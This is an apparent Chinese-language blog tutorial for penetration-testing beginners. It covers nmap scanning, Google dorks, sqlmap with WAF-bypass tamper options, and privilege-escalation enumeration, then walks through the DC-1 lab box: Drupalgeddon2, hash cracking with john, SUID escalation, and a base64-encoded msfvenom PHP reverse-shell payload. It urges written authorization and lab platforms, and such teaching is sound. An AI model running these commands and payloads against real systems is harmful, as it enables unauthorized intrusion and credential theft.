孙晓岸1. 渗透测试入门：前四天的学习路径规划
作为一名从零开始学习渗透测试的新手，前四天的学习规划至关重要。这个阶段需要建立正确的知识框架，避免陷入"工具收集癖"的误区。我建议采用"理论→工具→实战"的三段式学习法，每天保持4-6小时的专注学习时间。
第一天应该从网络基础开始，重点理解TCP/IP协议栈、HTTP/HTTPS协议、DNS解析机制等核心概念。很多人直接跳入工具使用，结果在后续遇到问题时连基本的网络包分析都做不到。建议用Wireshark抓取本地网络流量，观察三次握手过程，这是后续所有渗透测试工作的基础。
需要模型API调用？ 免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 信息收集：渗透测试的基石
2.1 被动信息收集技术
被动信息收集是渗透测试的第一步，也是新手最容易忽视的环节。通过Google Hacking技术，使用site:、inurl:、intitle:等高级搜索语法，往往能发现目标网站的敏感目录、备份文件甚至数据库信息。我常用的一套组合搜索语句是：
code复制site:example.com filetype:pdf
intitle:"index of" "parent directory"
2.2 主动扫描工具实战
Nmap是必须掌握的扫描工具，但新手常犯的错误是直接使用默认参数扫描。建议从这些基础命令开始：
bash复制nmap -sV -O -T4 192.168.1.1 # 基础服务识别
nmap --script vuln 192.168.1.1 # 漏洞脚本扫描
nmap -p- -A -v 192.168.1.1 # 全端口扫描（慎用）
在实际测试中，我发现很多企业防火墙会拦截高频扫描，这时需要调整时序参数：
bash复制nmap -T2 --max-parallelism 1 --max-retries 3 192.168.1.1
3. 常见漏洞挖掘与利用
3.1 Web应用漏洞实战
前四天可以重点学习三种基础漏洞：
- SQL注入：使用sqlmap时务必添加--risk和--level参数逐步测试
- XSS：从反射型入手，理解浏览器同源策略
- 文件包含：区分本地与远程包含的利用条件
在DVWA靶机测试时，我记录了一个典型问题：当使用sqlmap检测注入点时，如果遇到WAF拦截，可以尝试这些绕过技巧：
bash复制sqlmap -u "http://target.com?id=1" --tamper=space2comment --random-agent --delay=3
3.2 系统提权基础
在获得初始立足点后，提权是必经之路。Linux系统要重点检查：
- SUID权限文件：
find / -perm -4000 2>/dev/null - 可写计划任务：
ls -la /etc/cron* - 内核版本漏洞：
uname -a配合searchsploit搜索
Windows系统则要关注：
- 系统补丁情况：
systeminfo - 服务配置错误：
accesschk.exe -uwcqv "Authenticated Users" * /accepteula - 注册表键值权限：
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
4. 靶机实战：DC-1渗透分析
4.1 环境搭建要点
建议使用VirtualBox搭建靶机环境，网络模式选择"Host-only"或"NAT网络"。常见问题包括：
- 靶机IP不显示：在启动界面按shift进入grub，编辑内核参数添加
net.ifnames=0 biosdevname=0 - 无法互通：检查防火墙规则
iptables -L -n -v - 服务未启动：
service apache2 status查看具体错误
4.2 渗透过程实录
以DC-1靶机为例，完整渗透流程如下：
- 使用netdiscover定位靶机IP：
netdiscover -r 192.168.56.0/24 - Nmap扫描发现开放80端口和ssh服务
- 访问web页面发现Drupal CMS
- 搜索Drupal已知漏洞：
searchsploit drupal 7 - 使用MSF的
exploit/unix/webapp/drupal_drupalgeddon2模块 - 获取shell后查找配置文件中的数据库凭证
- 数据库中发现admin用户及哈希，使用john破解
- 通过SUID提权最终获取root权限
关键技巧：在Drupal漏洞利用时，如果直接执行失败，可以尝试修改payload编码方式。我遇到过目标服务器过滤特定字符的情况，最终使用base64编码绕过：
bash复制msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=4444 -e php/base64
5. 学习资源与避坑指南
5.1 推荐学习路径
- 第一周：网络基础+信息收集
- 第二周：Web漏洞原理与利用
- 第三周：内网渗透基础
- 第四周：综合靶机实战
避免同时学习过多方向，建议按这个顺序逐步深入。我见过很多新手同时看Web渗透、二进制安全和无线安全，结果哪个都没学透。
5.2 常见新手错误
- 工具依赖症：收集了上百个工具但不会写简单Python脚本
- 忽略基础：不熟悉Linux基本命令就急着跑漏洞利用
- 法律风险：未经授权扫描公网目标
- 环境问题：虚拟机网络配置错误导致无法继续实验
重要提示：所有渗透测试必须获得书面授权，建议使用Vulnhub、HackTheBox等合法平台练习。我早期曾因未明确授权范围而引发纠纷，这个教训值得所有新手警惕。
学习过程中建议建立自己的知识库，我用Obsidian管理这些内容模板：
code复制## 漏洞名称
- 影响版本：
- 检测方法：
- 利用步骤：
- 修复方案：
- 实际案例：
最后分享一个实用技巧：在虚拟机中配置快照链，在关键步骤前创建快照。我在学习SQL注入时因为误操作破坏了数据库，如果有快照就能快速恢复。具体操作：
bash复制VBoxManage snapshot "DC-1" take "Before_SQLi" --description "状态点"
VBoxManage snapshot "DC-1" restore "Before_SQLi"